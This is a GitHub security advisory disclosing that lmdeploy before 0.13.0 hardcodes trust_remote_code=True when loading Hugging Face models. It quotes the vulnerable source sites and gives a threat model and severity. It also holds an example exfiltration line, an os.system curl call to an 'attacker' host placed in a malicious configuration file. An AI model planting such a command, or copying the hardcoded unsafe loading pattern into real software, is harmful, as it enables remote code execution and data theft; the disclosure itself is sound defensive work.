GitHub Advisoryadvisory Β· PyPI
GHSA-9xq9-36w5-q796 lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
HIGH
Official page β
- Aliases
- CVE-2026-46517
- Ecosystem
- PyPI
- Packages
- lmdeploy
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-1188, CWE-915, CWE-94
- Reviewed
- 2026-05-21
Affected packages
β’ PyPI lmdeploy: < 0.13.0 β fixed in 0.13.0
Description
> ## π Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"
>
> The accurate description of this vulnerability is:
> "`get_model_arch` and related helpers hardcode `trust_remote_code=True`
> with no opt-out, creating an implicit unsafe remote-code load path
> on every model fetch."
>
> What this report does NOT claim:
> * It is NOT a network-attack RCE β the user supplies the model
> reference; LMDeploy honors it.
> * It is NOT a "supply chain" CVE in the classical sense (where a
> benign upstream is compromised) β the user explicitly types the
> repo name.
>
> What this report DOES claim:
> * Other inference frameworks (vLLM, TGI, Hugging Face transformers
> itself) all expose `--trust-remote-code` as opt-in so that
> users who consciously load known-safe repos can opt in, while
> users following a tutorial cannot accidentally execute attacker
> Python by typing a wrong repo name.
> * LMDeploy's hardcoded True is an implicit trust-boundary
> override that violates HF Transformers' default-secure stance
> (`trust_remote_code=False` since transformers β₯ 4.30).
> * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting
> False, threaded through the three sites, matching the rest of
> the ecosystem.
>
> Severity should be assessed as hardening / safe-by-default,
> not as full unauthenticated RCE. CVSS revised to 5.5 Medium
> (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` Γ user-must-load qualifier).
>
> Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.
---
F13 β LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in
Reporter: ibondarenko1 / [email protected]
Coordinated-disclosure window: 90 days from initial vendor email.
TL;DR
LMDeploy unilaterally passes `trust_remote_code=True` to
`transformers.AutoConfig.from_pretrained()` (and several other
`from_pretrained` callers) regardless of any user opt-in. The
flag is hardcoded `True` in source β there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a silent override of HuggingFace Transformers' own
default-secure stance (`trust_remote_code=False`) introduced
in HF Transformers β₯ 4.30 specifically to prevent this class of
supply-chain RCE.
The user running `lmdeploy serve api_server `,
`lmdeploy lite calibrate `, etc. has no way to
opt out. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy β which is incompatible
with LMDeploy's documented use case.
HuggingFace's `trust_remote_code=False` default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a `configuration_*.py` shim runs Python code as the
LMDeploy user at the very first call to `get_model_arch(...)`.
This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues β e.g. Hugging Face Transformers
itself made this opt-in by default, and `vllm` exposes the flag
through `--trust-remote-code` rather than hardcoding it.
Affected version
β’ Repository: `github.com/InternLM/lmdeploy`, branch `main`.
β’ Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`
(2026-05-02).
β’ Pinned blob SHAs:
β’ `lmdeploy/archs.py` β `68fa03a407734be1e2ae04098d34e9acdbe98262`
β’ `lmdeploy/lite/apis/calibrate.py` β
`0728304bdc3c03eee1d790bfbd5496df080a0ecd`
β’ `lmdeploy/lite/utils/load.py` β
`7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`
β’ `lmdeploy/pytorch/check_env/model.py` β
`b1a2daaa426bf5fe25030f7913c703eed9f5b261`
Snapshots of all four files are in `source_pinned/`.
Source-level evidence
Site 1 β architecture detection (every load goes through here)
`lmdeploy/archs.py:147-157` β `get_model_arch`:
```python
def get_model_arch(model_path: str):
"""Get a model's architecture and configuration."""
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)
```
Both the primary path and the fallback hardcode
`trust_remote_code=True`. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.
Site 2 β quantization CLI
`lmdeploy/lite/apis/calibrate.py:248-251`:
```python
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)
```
`lmdeploy lite calibrate ` and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.
Site 3 β calibration helper
`lmdeploy/lite/utils/load.py:55`:
```python
def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, kwargs):
...
hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)
```
Even if the caller does not pass `trust_remote_code=True` in
`kwargs`, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads `configuration_*.py`
from the repo and `import`s it whenever `trust_remote_code=True`.
Site 4 β pytorch engine check
`lmdeploy/pytorch/check_env/model.py:10,99,234,242` β
`trust_remote_code: bool = True` is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true" β a determined caller can pass False β but every
shipped CLI passes True or relies on the default.
What `trust_remote_code=True` actually enables
When `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is
called and the repo's `config.json` contains an `auto_map` key
pointing to a custom `configuration_.py`:
1. HF Transformers downloads the `.py` file from the repo.
2. HF imports the module via `importlib`, executing the file's
top-level code (any `print`, `os.system`, `subprocess.run`,
`urllib.request.urlopen`, etc. fires now).
3. HF then instantiates the named class.
So a malicious repo only needs a top-level
`os.system("curl https://attacker/?$(whoami)")` in
`configuration_evil.py`. It runs as the lmdeploy process user.
Threat model
Attack surface. Any user who runs an lmdeploy CLI command against
a HuggingFace repo identifier they did not personally vet. This
includes:
β’ Casual users following a tutorial that says
`lmdeploy serve api_server `.
β’ CI pipelines that automatically pull a model from HF Hub by
configuration (e.g. updates to a non-Pinned version tag).
β’ Researchers comparing models from many authors. Even running
`lmdeploy lite calibrate` for benchmarking is enough.
The user is not warned that arbitrary Python from the repo will
execute, and there is no flag to disable it. The CVE class is
CWE-94 (Improper Control of Generation of Code, supply-chain
flavour) and CWE-915 (Improperly Controlled Modification of
Dynamically-Determined Object Attributes).
Comparison to peer projects
| Project | trust_remote_code default | User control |
|---|---|---|
| HuggingFace Transformers | False | `trust_remote_code` keyword arg |
| vLLM | False | `--trust-remote-code` flag |
| LMDeploy | True (hardcoded) | None |
| TGI | False | `--trust-remote-code` flag |
LMDeploy is the outlier. The rationale is presumably "internal
models like InternLM need custom configuration_*.py", but the fix is
to accept a CLI flag like `--trust-remote-code` and default-False as
the rest of the ecosystem does.
Severity
CVSS v3.1 `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` β Base 7.8 High.
β’ AV:L β local (the user runs lmdeploy on their own hostβ¦
Related
Alias Β· CVE (1)
- CVE-2026-46517 LMDeploy is a toolkit for compressing, deploying, and serving large language models. vulnerability
References
- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-46517 advisory
- https://github.com/github/advisory-database/pull/4511 web
- https://github.com/InternLM/lmdeploy/commit/81be52961aa324fd5cd3cacebffba1ba051bc107 web
- https://github.com/InternLM/lmdeploy package
- https://github.com/InternLM/lmdeploy/blob/v0.13.0/lmdeploy/version.py web
- https://github.com/InternLM/lmdeploy/releases/tag/v0.13.0 web
- https://github.com/pypa/advisory-database/tree/main/vulns/lmdeploy/PYSEC-2026-2608.yaml web